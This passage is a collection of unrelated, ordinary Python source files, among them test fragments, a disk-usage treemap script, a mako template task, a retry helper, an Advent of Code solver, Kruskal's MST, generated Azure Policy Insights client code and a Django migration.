"dispatch", } SM = scoped_session(sa.orm.sessionmaker(testing.db)) missing = [ name for name in expected if not hasattr(SM, name) and name not in ignore_list ] eq_(missing, [])
''' Creates an html treemap of disk usage, using the Google Charts API ''' import json import os import subprocess import sys def memoize(fn): stored_results = {} def memoized(*args): try: return stored_results[args] except KeyError: result = stored_results[args] = fn(*args) return result return memoized @memoize def get_folder_size(folder): total_size = os.path.getsize(folder) for item in os.listdir(folder): itempath = os.path.join(folder, item) if os.path.isfile(itempath): total_size += os.path.getsize(itempath) elif os.path.isdir(itempath): total_size += get_folder_size(itempath) return total_size def usage_iter(root): root = os.path.abspath(root) root_size = get_folder_size(root) root_string = "{0}\n{1}".format(root, root_size) yield [root_string, None, root_size] for parent, dirs, files in os.walk(root): for dirname in dirs: fullpath = os.path.join(parent, dirname) try: this_size = get_folder_size(fullpath) parent_size = get_folder_size(parent) this_string = "{0}\n{1}".format(fullpath, this_size) parent_string = "{0}\n{1}".format(parent, parent_size) yield [this_string, parent_string, this_size] except OSError: continue def json_usage(root): root = os.path.abspath(root) result = [['Path', 'Parent', 'Usage']] result.extend(entry for entry in usage_iter(root)) return json.dumps(result) def main(args): '''Populates an html template using JSON-formatted output from the Linux 'du' utility and prints the result''' html = ''' <html> <head> <script type="text/javascript" src="https://www.google.com/jsapi"></script> <script type="text/javascript"> google.load("visualization", "1", {packages:["treemap"]}); google.setOnLoadCallback(drawChart); function drawChart() { // Create and populate the data table. var data = google.visualization.arrayToDataTable(%s); // Create and draw the visualization. var tree = new google.visualization.TreeMap(document.getElementById('chart_div')); tree.draw(data, { headerHeight: 15, fontColor: 'black' }); } </script> </head> <body> <div id="chart_div" style="width: 900px; height: 500px;"></div> <p style="text-align: center">Click to descend. Right-click to ascend.</p> </body> </html> ''' % json_usage(args[0]) print html if __name__ == "__main__": main(sys.argv[1:] or ['.'])
""" Check what the `lambdax` module publicly exposes. """ import builtins from inspect import isbuiltin, ismodule, isclass from itertools import chain import operator from unittest.mock import patch import lambdax.builtins_as_lambdas import lambdax.builtins_overridden from lambdax import x1, x2, x def _get_exposed(tested_module): return {name for name, obj in vars(tested_module).items() if not name.startswith('_') and not ismodule(obj)} def test_no_builtin_exposed(): for obj in chain(vars(lambdax).values(), vars(lambdax.builtins_overridden).values()): assert not isbuiltin(obj) def test_base_exposed(): variables = {'x'} | {'x%d' % i for i in range(1, 10)} variables |= {v.upper() for v in variables} special_functions = {'λ', 'is_λ', 'comp', 'circle', 'chaining', 'and_', 'or_', 'if_'} to_expose = variables | special_functions exposed = _get_exposed(lambdax.lambda_calculus) assert to_expose == exposed def test_operators_exposed(): operators = {name for name, obj in vars(operator).items() if not name.startswith('_') and not isclass(obj) and not hasattr(builtins, name)} to_expose = operators.difference(('and_', 'or_', 'xor')) assert to_expose == _get_exposed(lambdax.operators) def test_overridden_builtins_exposed(): builtin_names = {name for name, obj in vars(builtins).items() if name[0].upper() != name[0]} irrelevant_builtins = { 'input', 'help', 'open', 'copyright', 'license', 'credits', 'compile', 'eval', 'exec', 'execfile', 'runfile', 'classmethod', 'staticmethod', 'property', 'object', 'super', 'globals', 'locals' } builtins_to_expose = builtin_names - irrelevant_builtins to_expose_as_λ = {name + '_λ' for name in builtins_to_expose} split_exposed_names = (name.split('_') for name in _get_exposed(lambdax.builtins_as_lambdas)) exposed_as_λ = {'%s_%s' % (words[0], words[-1]) for words in split_exposed_names} assert to_expose_as_λ == exposed_as_λ assert builtins_to_expose == _get_exposed(lambdax.builtins_overridden) def test_operators_implementations(): operators = vars(operator) for name, abstraction in vars(lambdax.operators).items(): initial = operators.get(name) if initial and isbuiltin(initial): wrapped = getattr(abstraction, '_λ_constant') assert wrapped == initial try: ref = initial(42, 51) except TypeError as e: ref = e.args try: res = abstraction(x1, x2)(42, 51) except TypeError as e: res = e.args assert res == ref def _get_effect(implementation): output = [] with patch('sys.stdout') as out: out.side_effect = output.append try: res = implementation("42") except BaseException as e: res = e.args return res, output def _get_method_or_object(obj, meth=''): return getattr(obj, meth) if meth else obj def test_overridden_builtins_implementations(): for name in _get_exposed(lambdax.builtins_as_lambdas): obj, tail = name.split('_', 1) meth = tail[:-2] original = _get_method_or_object(getattr(builtins, obj), meth) as_λ = getattr(lambdax.builtins_as_lambdas, name) overridden = _get_method_or_object(getattr(lambdax.builtins_overridden, obj), meth) ref, ref_output = _get_effect(original) expl, expl_output = _get_effect(as_λ(x)) iso, iso_output = _get_effect(overridden) lbda, lbda_output = _get_effect(overridden(x)) assert lbda_output == iso_output == expl_output == ref_output try: assert list(iter(lbda)) == list(iter(iso)) == list(iter(expl)) == list(iter(ref)) except TypeError: assert lbda == iso == expl == ref
__author__ = 'ysahn' import logging import json import os import glob import collections from mako.lookup import TemplateLookup from mako.template import Template from taskmator.task.core import Task class TransformTask(Task): """ Class that transform a json into code using a template Uses mako as template engine for transformation """ logger = logging.getLogger(__name__) ATTR_TEMPLATE_DIR = u'template_dir' ATTR_TEMPLATES = u'templates' ATTR_SRC_DIR = u'src_dir' ATTR_SRC_FILES = u'src_files' ATTR_DEST_DIR = u'dest_dir' ATTR_FILE_PREFIX = u'file_prefix' ATTR_FILE_EXT = u'file_ext' __VALID_ATTRS = [ATTR_TEMPLATE_DIR, ATTR_TEMPLATES, ATTR_SRC_DIR, ATTR_SRC_FILES, ATTR_DEST_DIR, ATTR_FILE_PREFIX, ATTR_FILE_EXT] def __init__(self, name, parent=None): """ Constructor """ super(TransformTask, self).__init__(name, parent) self.template_dir = None self.templates = collections.OrderedDict() def setAttribute(self, attrKey, attrVal): if (attrKey in self.__VALID_ATTRS): self.attribs[attrKey] = attrVal else: super(TransformTask, self).setAttribute(attrKey, attrVal) def init(self): super(TransformTask, self).init() template_dir = self._normalize_dir(self.getAttribute(self.ATTR_TEMPLATE_DIR, './'), './') template_names = self.getAttribute(self.ATTR_TEMPLATES) if not template_names: raise ("Attribute '" + self.ATTR_TEMPLATES + "' is required") if (isinstance(template_names, basestring)): template_names = [template_names] tpl_lookup = TemplateLookup(directories=[template_dir]) for template_name in template_names: template_paths = glob.glob(template_dir + template_name + '.tpl') for template_path in template_paths: atemplate = Template(filename=template_path, lookup=tpl_lookup) self.templates[template_path] = atemplate def executeInternal(self, execution_context): """ @type execution_context: ExecutionContext """ self.logger.info("Executing " + str(self)) src_dir = self._normalize_dir(self.getAttribute(self.ATTR_SRC_DIR, './'), './') file_patterns = self.getAttribute(self.ATTR_SRC_FILES, '*.json') file_patterns = file_patterns if file_patterns else '*.json' # Convert to an array if (isinstance(file_patterns, basestring)): file_patterns = [file_patterns] outputs = {} for file_pattern in file_patterns: file_paths = glob.glob(src_dir + file_pattern) for file_path in file_paths: model = self._load_model(file_path) fname = self._get_filaname(file_path, False) for tpl_path, tpl in self.templates.iteritems(): tpl_name = self._get_filaname(tpl_path, False) outputs[fname + '.' + tpl_name] = self._transform(tpl, model, self.getParams()) # write to a file dest_dir = self._normalize_dir(self.getAttribute(self.ATTR_DEST_DIR, './'), './') file_ext = '.' + self.getAttribute(self.ATTR_FILE_EXT) for name, output in outputs.iteritems(): self._write(output, dest_dir + name + file_ext) return (Task.CODE_OK, outputs) # Private methods def _normalize_dir(self, dir, default): dir = dir if dir else default dir = dir if dir.startswith('/') else os.getcwd() + '/' + dir return dir if dir.endswith('/') else dir + '/' def _load_model(self, model_uri): file = open(model_uri, "r") file_content = file.read() model = json.loads(file_content, object_pairs_hook=collections.OrderedDict) return model def _transform(self, thetemplate, model, params): return thetemplate.render_unicode(model=model, params=params) def _get_filaname(self, file_path, include_ext = True): """ Returns the filename @param file_path: string The path @param include_ext: boolean Whether or not to include extension @return: string """ retval = file_path last_sep_pos = file_path.rfind('/') if (last_sep_pos > -1): retval = file_path[last_sep_pos+1:] if (not include_ext): last_dot_pos = retval.rfind('.') if (last_dot_pos > -1): retval = retval[:last_dot_pos] return retval def _write(self, data, dest_path): self._normalize_dir(dest_path, './') with open(dest_path, "w") as text_file: text_file.write(data)
import sys import traceback import logging import time import inspect def run_resilient(function, function_args=[], function_kwargs={}, tolerated_errors=(Exception,), log_prefix='Something failed, tolerating error and retrying: ', retries=5, delay=True, critical=False, initial_delay_time=0.1, delay_multiplier = 2.0): """Run the function with function_args and function_kwargs. Warn if it excepts, and retry. If retries are exhausted, log that, and if it's critical, properly throw the exception """ def show_exception_info(log_prefix): """Warn about an exception with a lower priority message, with a text prefix and the error type""" exc_type, exc_value, exc_traceback = sys.exc_info() lines = traceback.format_exception(exc_type, exc_value, exc_traceback) traceback_text = lines[2] logging.info(log_prefix + traceback_text) return delay_time = initial_delay_time while retries: retries -= 1 try: return function(*function_args, **function_kwargs) except tolerated_errors, error: #IGNORE:W0703 # One of our anticipated errors happened. if retries: # We've got more retries left. Log the error, and continue. show_exception_info(log_prefix) if delay: time.sleep(delay_time) delay_time = delay_time * delay_multiplier else: delay_time = 0 logging.info('We have %d tries left. Delaying for %.2f seconds and trying again.', retries, delay_time) else: logging.warn('Could not complete action after %d retries.', retries) if critical: logging.error('Critical action failed.') raise error except Exception: # We've recieved an error we didn't anticipate. This is bad. # Depending on the error we the developers should either fix something, or, if we want to tolerate it, # add it to our tolerated_errors. # Those things require human judgement, so we'll raise the exception. logging.exception('Unanticipated error recieved!') #Log the exception raise #Re-raise except: typ, value, unused = sys.exc_info() # We've received an exception that isn't even an Exception subclass! # This is bad manners - see http://docs.python.org/tutorial/errors.html: # "Exceptions should typically be derived from the Exception class, either directly or indirectly." logging.exception("Bad mannered exception. Class was: %s Value was: %s Source file: %s", typ.__name__, str(value), inspect.getsourcefile(typ)) raise
""" Solve day 23 of Advent of Code. http://adventofcode.com/day/23 """ class Computer: def __init__(self): """ Our computer has 2 registers, a and b, and an instruction pointer so that we know which instruction to fetch next. """ self.a = 0 self.b = 0 self.ip = 0 # Ye olde instruction pointer def run_program(self, program): """ Run a list of program instructions until we try to move the instruction pointer beyond the bounds of the instruction list. """ while True: try: instruction, args = self.parse_instruction(program[self.ip]) except IndexError: return getattr(self, instruction)(*args) def parse_instruction(self, line): """ Parse a line of the program into the instruction and its arguments. """ instruction, *args = line.strip().replace(',', '').split() return instruction, args def hlf(self, register): """ Set the register to half its current value, then increment the instruction pointer. """ setattr(self, register, getattr(self, register)//2) self.ip += 1 def tpl(self, register): """ Set the register to triple its current value, then increment the instruction pointer. """ setattr(self, register, getattr(self, register)*3) self.ip += 1 def inc(self, register): """ Increment the value in the register, then increment the instruction pointer. """ setattr(self, register, getattr(self, register) + 1) self.ip += 1 def jmp(self, offset): """ Jump the instruction pointer by a particular offset. """ self.ip += int(offset) def jie(self, register, offset): """ Jump the instruction pointer by an offset if the value in the register is even. """ if getattr(self, register) % 2 == 0: self.jmp(offset) else: self.ip += 1 def jio(self, register, offset): """ Jump the instruction pointer by an offset if the value in the register is one. """ if getattr(self, register) == 1: self.jmp(offset) else: self.ip += 1 if __name__ == '__main__': with open('input.txt') as f: program = f.readlines() computer = Computer() # Part 1 - start with a=0, b=0 computer.run_program(program) print("Part 1:", computer.b) # Part 2 - now start with a=1, b=0 computer = Computer() computer.a = 1 computer.run_program(program) print("Part 2:", computer.b)
import subprocess import os import errno def download_file(url, local_fname=None, force_write=False): # requests is not default installed import requests if local_fname is None: local_fname = url.split('/')[-1] if not force_write and os.path.exists(local_fname): return local_fname dir_name = os.path.dirname(local_fname) if dir_name != "": if not os.path.exists(dir_name): try: # try to create the directory if it doesn't exists os.makedirs(dir_name) except OSError as exc: if exc.errno != errno.EEXIST: raise r = requests.get(url, stream=True) assert r.status_code == 200, "failed to open %s" % url with open(local_fname, 'wb') as f: for chunk in r.iter_content(chunk_size=1024): if chunk: # filter out keep-alive new chunks f.write(chunk) return local_fname def get_gpus(): """ return a list of GPUs """ try: re = subprocess.check_output(["nvidia-smi", "-L"], universal_newlines=True) except OSError: return [] return range(len([i for i in re.split('\n') if 'GPU' in i]))
import unittest from locust.util.timespan import parse_timespan from locust.util.rounding import proper_round class TestParseTimespan(unittest.TestCase): def test_parse_timespan_invalid_values(self): self.assertRaises(ValueError, parse_timespan, None) self.assertRaises(ValueError, parse_timespan, "") self.assertRaises(ValueError, parse_timespan, "q") def test_parse_timespan(self): self.assertEqual(7, parse_timespan("7")) self.assertEqual(7, parse_timespan("7s")) self.assertEqual(60, parse_timespan("1m")) self.assertEqual(7200, parse_timespan("2h")) self.assertEqual(3787, parse_timespan("1h3m7s")) class TestRounding(unittest.TestCase): def test_rounding_down(self): self.assertEqual(1, proper_round(1.499999999)) self.assertEqual(5, proper_round(5.499999999)) self.assertEqual(2, proper_round(2.05)) self.assertEqual(3, proper_round(3.05)) def test_rounding_up(self): self.assertEqual(2, proper_round(1.5)) self.assertEqual(3, proper_round(2.5)) self.assertEqual(4, proper_round(3.5)) self.assertEqual(5, proper_round(4.5)) self.assertEqual(6, proper_round(5.5))
from __future__ import division """ main.py -- main program of motif sequence coverage pipeline tool example for running code: python main.py -jid test -confFile ./data/default_scan_only.conf This will create a results folder with the name test. You will need to delete the folder if you want to run the code again with the same name """ import sys import os import argparse import shutil inPath = os.path.realpath(__file__) split = inPath.split('/') inPath = '/'.join(split[:len(split)-1]) sys.path.append(inPath + '/utils') import conf import general_utils import Fimo import Tomtom sys.path.append(inPath + '/algo') import greedy import motif_pwm_scan_cov import motif_pwm_scan_only def main(args): #example for running code: python main.py -jid test -confFile ./data/default_scan_only.conf print "main.py::main()" parser = argparse.ArgumentParser() parser.add_argument("-jid", "--jid", help="enter job ID") #job id to make a folder to store all the data for a specific job parser.add_argument("-confFile", "--confFile", help="enter the configuration file")#path to configuration file args = parser.parse_args() print 'jobId:', args.jid,'configfile:', args.confFile #make a results directory to store job results resultsDirName = args.jid os.makedirs(resultsDirName) #make a file list to store all the files to be moved to the results folder fileList = [] #copy the config file cpConfFileName = args.jid + '_in_conf_file' cpConfFile = open(cpConfFileName, 'wb') with open(args.confFile, 'rb') as handler: for line in handler: cpConfFile.write(line) cpConfFile.close() fileList.append(cpConfFileName) #make a config object confObj = conf.Conf() confDict = confObj.read(args.confFile) ############ #Have a PWM file and want to scan it across a fasta file and then apply sequence coverage ############ if confDict['job.type']['type'] == 'motifPwmScanCov': print 'motif_pwm scanning and coverage operation' motif_pwm_scan_cov.callMotifPwmScanCov(args, confDict, fileList) #move files to results folder for outFile in fileList: shutil.move(outFile, resultsDirName) exit() ############ #Have a PWM file and want to scan it across a file only ############ if confDict['job.type']['type'] == 'pwmScan': print 'motif pwm scanning only' motif_pwm_scan_only.callMotifPwmScanOnly(args, confDict, fileList) #move files to results folder for outFile in fileList: shutil.move(outFile, resultsDirName) exit() ############### #EXIT ############### exit() if( __name__ == "__main__" ): main(sys.argv)
from __future__ import annotations from typing import Generic, TypeVar T = TypeVar("T") class DisjointSetTreeNode(Generic[T]): # Disjoint Set Node to store the parent and rank def __init__(self, data: T) -> None: self.data = data self.parent = self self.rank = 0 class DisjointSetTree(Generic[T]): # Disjoint Set DataStructure def __init__(self) -> None: # map from node name to the node object self.map: dict[T, DisjointSetTreeNode[T]] = {} def make_set(self, data: T) -> None: # create a new set with x as its member self.map[data] = DisjointSetTreeNode(data) def find_set(self, data: T) -> DisjointSetTreeNode[T]: # find the set x belongs to (with path-compression) elem_ref = self.map[data] if elem_ref != elem_ref.parent: elem_ref.parent = self.find_set(elem_ref.parent.data) return elem_ref.parent def link( self, node1: DisjointSetTreeNode[T], node2: DisjointSetTreeNode[T] ) -> None: # helper function for union operation if node1.rank > node2.rank: node2.parent = node1 else: node1.parent = node2 if node1.rank == node2.rank: node2.rank += 1 def union(self, data1: T, data2: T) -> None: # merge 2 disjoint sets self.link(self.find_set(data1), self.find_set(data2)) class GraphUndirectedWeighted(Generic[T]): def __init__(self) -> None: # connections: map from the node to the neighbouring nodes (with weights) self.connections: dict[T, dict[T, int]] = {} def add_node(self, node: T) -> None: # add a node ONLY if its not present in the graph if node not in self.connections: self.connections[node] = {} def add_edge(self, node1: T, node2: T, weight: int) -> None: # add an edge with the given weight self.add_node(node1) self.add_node(node2) self.connections[node1][node2] = weight self.connections[node2][node1] = weight def kruskal(self) -> GraphUndirectedWeighted[T]: # Kruskal's Algorithm to generate a Minimum Spanning Tree (MST) of a graph """ Details: https://en.wikipedia.org/wiki/Kruskal%27s_algorithm Example: >>> g1 = GraphUndirectedWeighted[int]() >>> g1.add_edge(1, 2, 1) >>> g1.add_edge(2, 3, 2) >>> g1.add_edge(3, 4, 1) >>> g1.add_edge(3, 5, 100) # Removed in MST >>> g1.add_edge(4, 5, 5) >>> assert 5 in g1.connections[3] >>> mst = g1.kruskal() >>> assert 5 not in mst.connections[3] >>> g2 = GraphUndirectedWeighted[str]() >>> g2.add_edge('A', 'B', 1) >>> g2.add_edge('B', 'C', 2) >>> g2.add_edge('C', 'D', 1) >>> g2.add_edge('C', 'E', 100) # Removed in MST >>> g2.add_edge('D', 'E', 5) >>> assert 'E' in g2.connections["C"] >>> mst = g2.kruskal() >>> assert 'E' not in mst.connections['C'] """ # getting the edges in ascending order of weights edges = [] seen = set() for start in self.connections: for end in self.connections[start]: if (start, end) not in seen: seen.add((end, start)) edges.append((start, end, self.connections[start][end])) edges.sort(key=lambda x: x[2]) # creating the disjoint set disjoint_set = DisjointSetTree[T]() for node in self.connections: disjoint_set.make_set(node) # MST generation num_edges = 0 index = 0 graph = GraphUndirectedWeighted[T]() while num_edges < len(self.connections) - 1: u, v, w = edges[index] index += 1 parent_u = disjoint_set.find_set(u) parent_v = disjoint_set.find_set(v) if parent_u != parent_v: num_edges += 1 graph.add_edge(u, v, w) disjoint_set.union(u, v) return graph
from typing import Any, AsyncIterable, Callable, Dict, Generic, Optional, TypeVar import warnings from azure.core.async_paging import AsyncItemPaged, AsyncList from azure.core.exceptions import ClientAuthenticationError, HttpResponseError, ResourceExistsError, ResourceNotFoundError, map_error from azure.core.pipeline import PipelineResponse from azure.core.pipeline.transport import AsyncHttpResponse, HttpRequest from azure.mgmt.core.exceptions import ARMErrorFormat from ... import models as _models T = TypeVar('T') ClsType = Optional[Callable[[PipelineResponse[HttpRequest, AsyncHttpResponse], T, Dict[str, Any]], Any]] class PolicyTrackedResourcesOperations: """PolicyTrackedResourcesOperations async operations. You should not instantiate this class directly. Instead, you should create a Client instance that instantiates it for you and attaches it as an attribute. :ivar models: Alias to model classes used in this operation group. :type models: ~azure.mgmt.policyinsights.models :param client: Client for service requests. :param config: Configuration of service client. :param serializer: An object model serializer. :param deserializer: An object model deserializer. """ models = _models def __init__(self, client, config, serializer, deserializer) -> None: self._client = client self._serialize = serializer self._deserialize = deserializer self._config = config def list_query_results_for_management_group( self, management_group_name: str, query_options: Optional["_models.QueryOptions"] = None, **kwargs: Any ) -> AsyncIterable["_models.PolicyTrackedResourcesQueryResults"]: """Queries policy tracked resources under the management group. :param management_group_name: Management group name. :type management_group_name: str :param query_options: Parameter group. :type query_options: ~azure.mgmt.policyinsights.models.QueryOptions :keyword callable cls: A custom type or function that will be passed the direct response :return: An iterator like instance of either PolicyTrackedResourcesQueryResults or the result of cls(response) :rtype: ~azure.core.async_paging.AsyncItemPaged[~azure.mgmt.policyinsights.models.PolicyTrackedResourcesQueryResults] :raises: ~azure.core.exceptions.HttpResponseError """ cls = kwargs.pop('cls', None) # type: ClsType["_models.PolicyTrackedResourcesQueryResults"] error_map = { 401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError } error_map.update(kwargs.pop('error_map', {})) _top = None _filter = None if query_options is not None: _top = query_options.top _filter = query_options.filter management_groups_namespace = "Microsoft.Management" policy_tracked_resources_resource = "default" api_version = "2018-07-01-preview" accept = "application/json" def prepare_request(next_link=None): # Construct headers header_parameters = {} # type: Dict[str, Any] header_parameters['Accept'] = self._serialize.header("accept", accept, 'str') if not next_link: # Construct URL url = self.list_query_results_for_management_group.metadata['url'] # type: ignore path_format_arguments = { 'managementGroupsNamespace': self._serialize.url("management_groups_namespace", management_groups_namespace, 'str'), 'managementGroupName': self._serialize.url("management_group_name", management_group_name, 'str'), 'policyTrackedResourcesResource': self._serialize.url("policy_tracked_resources_resource", policy_tracked_resources_resource, 'str'), } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} # type: Dict[str, Any] if _top is not None: query_parameters['$top'] = self._serialize.query("top", _top, 'int', minimum=0) if _filter is not None: query_parameters['$filter'] = self._serialize.query("filter", _filter, 'str') query_parameters['api-version'] = self._serialize.query("api_version", api_version, 'str') request = self._client.post(url, query_parameters, header_parameters) else: url = next_link query_parameters = {} # type: Dict[str, Any] request = self._client.get(url, query_parameters, header_parameters) return request async def extract_data(pipeline_response): deserialized = self._deserialize('PolicyTrackedResourcesQueryResults', pipeline_response) list_of_elem = deserialized.value if cls: list_of_elem = cls(list_of_elem) return deserialized.next_link or None, AsyncList(list_of_elem) async def get_next(next_link=None): request = prepare_request(next_link) pipeline_response = await self._client._pipeline.run(request, stream=False, **kwargs) response = pipeline_response.http_response if response.status_code not in [200]: error = self._deserialize.failsafe_deserialize(_models.QueryFailure, response) map_error(status_code=response.status_code, response=response, error_map=error_map) raise HttpResponseError(response=response, model=error, error_format=ARMErrorFormat) return pipeline_response return AsyncItemPaged( get_next, extract_data ) list_query_results_for_management_group.metadata = {'url': '/providers/{managementGroupsNamespace}/managementGroups/{managementGroupName}/providers/Microsoft.PolicyInsights/policyTrackedResources/{policyTrackedResourcesResource}/queryResults'} # type: ignore def list_query_results_for_subscription( self, query_options: Optional["_models.QueryOptions"] = None, **kwargs: Any ) -> AsyncIterable["_models.PolicyTrackedResourcesQueryResults"]: """Queries policy tracked resources under the subscription. :param query_options: Parameter group. :type query_options: ~azure.mgmt.policyinsights.models.QueryOptions :keyword callable cls: A custom type or function that will be passed the direct response :return: An iterator like instance of either PolicyTrackedResourcesQueryResults or the result of cls(response) :rtype: ~azure.core.async_paging.AsyncItemPaged[~azure.mgmt.policyinsights.models.PolicyTrackedResourcesQueryResults] :raises: ~azure.core.exceptions.HttpResponseError """ cls = kwargs.pop('cls', None) # type: ClsType["_models.PolicyTrackedResourcesQueryResults"] error_map = { 401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError } error_map.update(kwargs.pop('error_map', {})) _top = None _filter = None if query_options is not None: _top = query_options.top _filter = query_options.filter policy_tracked_resources_resource = "default" api_version = "2018-07-01-preview" accept = "application/json" def prepare_request(next_link=None): # Construct headers header_parameters = {} # type: Dict[str, Any] header_parameters['Accept'] = self._serialize.header("accept", accept, 'str') if not next_link: # Construct URL url = self.list_query_results_for_subscription.metadata['url'] # type: ignore path_format_arguments = { 'policyTrackedResourcesResource': self._serialize.url("policy_tracked_resources_resource", policy_tracked_resources_resource, 'str'), 'subscriptionId': self._serialize.url("self._config.subscription_id", self._config.subscription_id, 'str'), } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} # type: Dict[str, Any] if _top is not None: query_parameters['$top'] = self._serialize.query("top", _top, 'int', minimum=0) if _filter is not None: query_parameters['$filter'] = self._serialize.query("filter", _filter, 'str') query_parameters['api-version'] = self._serialize.query("api_version", api_version, 'str') request = self._client.post(url, query_parameters, header_parameters) else: url = next_link query_parameters = {} # type: Dict[str, Any] request = self._client.get(url, query_parameters, header_parameters) return request async def extract_data(pipeline_response): deserialized = self._deserialize('PolicyTrackedResourcesQueryResults', pipeline_response) list_of_elem = deserialized.value if cls: list_of_elem = cls(list_of_elem) return deserialized.next_link or None, AsyncList(list_of_elem) async def get_next(next_link=None): request = prepare_request(next_link) pipeline_response = await self._client._pipeline.run(request, stream=False, **kwargs) response = pipeline_response.http_response if response.status_code not in [200]: error = self._deserialize.failsafe_deserialize(_models.QueryFailure, response) map_error(status_code=response.status_code, response=response, error_map=error_map) raise HttpResponseError(response=response, model=error, error_format=ARMErrorFormat) return pipeline_response return AsyncItemPaged( get_next, extract_data ) list_query_results_for_subscription.metadata = {'url': '/subscriptions/{subscriptionId}/providers/Microsoft.PolicyInsights/policyTrackedResources/{policyTrackedResourcesResource}/queryResults'} # type: ignore def list_query_results_for_resource_group( self, resource_group_name: str, query_options: Optional["_models.QueryOptions"] = None, **kwargs: Any ) -> AsyncIterable["_models.PolicyTrackedResourcesQueryResults"]: """Queries policy tracked resources under the resource group. :param resource_group_name: Resource group name. :type resource_group_name: str :param query_options: Parameter group. :type query_options: ~azure.mgmt.policyinsights.models.QueryOptions :keyword callable cls: A custom type or function that will be passed the direct response :return: An iterator like instance of either PolicyTrackedResourcesQueryResults or the result of cls(response) :rtype: ~azure.core.async_paging.AsyncItemPaged[~azure.mgmt.policyinsights.models.PolicyTrackedResourcesQueryResults] :raises: ~azure.core.exceptions.HttpResponseError """ cls = kwargs.pop('cls', None) # type: ClsType["_models.PolicyTrackedResourcesQueryResults"] error_map = { 401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError } error_map.update(kwargs.pop('error_map', {})) _top = None _filter = None if query_options is not None: _top = query_options.top _filter = query_options.filter policy_tracked_resources_resource = "default" api_version = "2018-07-01-preview" accept = "application/json" def prepare_request(next_link=None): # Construct headers header_parameters = {} # type: Dict[str, Any] header_parameters['Accept'] = self._serialize.header("accept", accept, 'str') if not next_link: # Construct URL url = self.list_query_results_for_resource_group.metadata['url'] # type: ignore path_format_arguments = { 'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'), 'policyTrackedResourcesResource': self._serialize.url("policy_tracked_resources_resource", policy_tracked_resources_resource, 'str'), 'subscriptionId': self._serialize.url("self._config.subscription_id", self._config.subscription_id, 'str'), } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} # type: Dict[str, Any] if _top is not None: query_parameters['$top'] = self._serialize.query("top", _top, 'int', minimum=0) if _filter is not None: query_parameters['$filter'] = self._serialize.query("filter", _filter, 'str') query_parameters['api-version'] = self._serialize.query("api_version", api_version, 'str') request = self._client.post(url, query_parameters, header_parameters) else: url = next_link query_parameters = {} # type: Dict[str, Any] request = self._client.get(url, query_parameters, header_parameters) return request async def extract_data(pipeline_response): deserialized = self._deserialize('PolicyTrackedResourcesQueryResults', pipeline_response) list_of_elem = deserialized.value if cls: list_of_elem = cls(list_of_elem) return deserialized.next_link or None, AsyncList(list_of_elem) async def get_next(next_link=None): request = prepare_request(next_link) pipeline_response = await self._client._pipeline.run(request, stream=False, **kwargs) response = pipeline_response.http_response if response.status_code not in [200]: error = self._deserialize.failsafe_deserialize(_models.QueryFailure, response) map_error(status_code=response.status_code, response=response, error_map=error_map) raise HttpResponseError(response=response, model=error, error_format=ARMErrorFormat) return pipeline_response return AsyncItemPaged( get_next, extract_data ) list_query_results_for_resource_group.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.PolicyInsights/policyTrackedResources/{policyTrackedResourcesResource}/queryResults'} # type: ignore def list_query_results_for_resource( self, resource_id: str, query_options: Optional["_models.QueryOptions"] = None, **kwargs: Any ) -> AsyncIterable["_models.PolicyTrackedResourcesQueryResults"]: """Queries policy tracked resources under the resource. :param resource_id: Resource ID. :type resource_id: str :param query_options: Parameter group. :type query_options: ~azure.mgmt.policyinsights.models.QueryOptions :keyword callable cls: A custom type or function that will be passed the direct response :return: An iterator like instance of either PolicyTrackedResourcesQueryResults or the result of cls(response) :rtype: ~azure.core.async_paging.AsyncItemPaged[~azure.mgmt.policyinsights.models.PolicyTrackedResourcesQueryResults] :raises: ~azure.core.exceptions.HttpResponseError """ cls = kwargs.pop('cls', None) # type: ClsType["_models.PolicyTrackedResourcesQueryResults"] error_map = { 401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError } error_map.update(kwargs.pop('error_map', {})) _top = None _filter = None if query_options is not None: _top = query_options.top _filter = query_options.filter policy_tracked_resources_resource = "default" api_version = "2018-07-01-preview" accept = "application/json" def prepare_request(next_link=None): # Construct headers header_parameters = {} # type: Dict[str, Any] header_parameters['Accept'] = self._serialize.header("accept", accept, 'str') if not next_link: # Construct URL url = self.list_query_results_for_resource.metadata['url'] # type: ignore path_format_arguments = { 'resourceId': self._serialize.url("resource_id", resource_id, 'str', skip_quote=True), 'policyTrackedResourcesResource': self._serialize.url("policy_tracked_resources_resource", policy_tracked_resources_resource, 'str'), } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} # type: Dict[str, Any] if _top is not None: query_parameters['$top'] = self._serialize.query("top", _top, 'int', minimum=0) if _filter is not None: query_parameters['$filter'] = self._serialize.query("filter", _filter, 'str') query_parameters['api-version'] = self._serialize.query("api_version", api_version, 'str') request = self._client.post(url, query_parameters, header_parameters) else: url = next_link query_parameters = {} # type: Dict[str, Any] request = self._client.get(url, query_parameters, header_parameters) return request async def extract_data(pipeline_response): deserialized = self._deserialize('PolicyTrackedResourcesQueryResults', pipeline_response) list_of_elem = deserialized.value if cls: list_of_elem = cls(list_of_elem) return deserialized.next_link or None, AsyncList(list_of_elem) async def get_next(next_link=None): request = prepare_request(next_link) pipeline_response = await self._client._pipeline.run(request, stream=False, **kwargs) response = pipeline_response.http_response if response.status_code not in [200]: error = self._deserialize.failsafe_deserialize(_models.QueryFailure, response) map_error(status_code=response.status_code, response=response, error_map=error_map) raise HttpResponseError(response=response, model=error, error_format=ARMErrorFormat) return pipeline_response return AsyncItemPaged( get_next, extract_data ) list_query_results_for_resource.metadata = {'url': '/{resourceId}/providers/Microsoft.PolicyInsights/policyTrackedResources/{policyTrackedResourcesResource}/queryResults'} # type: ignore
from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('primus', '0006_auto_20160418_0959'), ] operations = [ migrations.AlterField( model_name='building', name='modified', field=models.DateTimeField(auto_now=True), ), ]
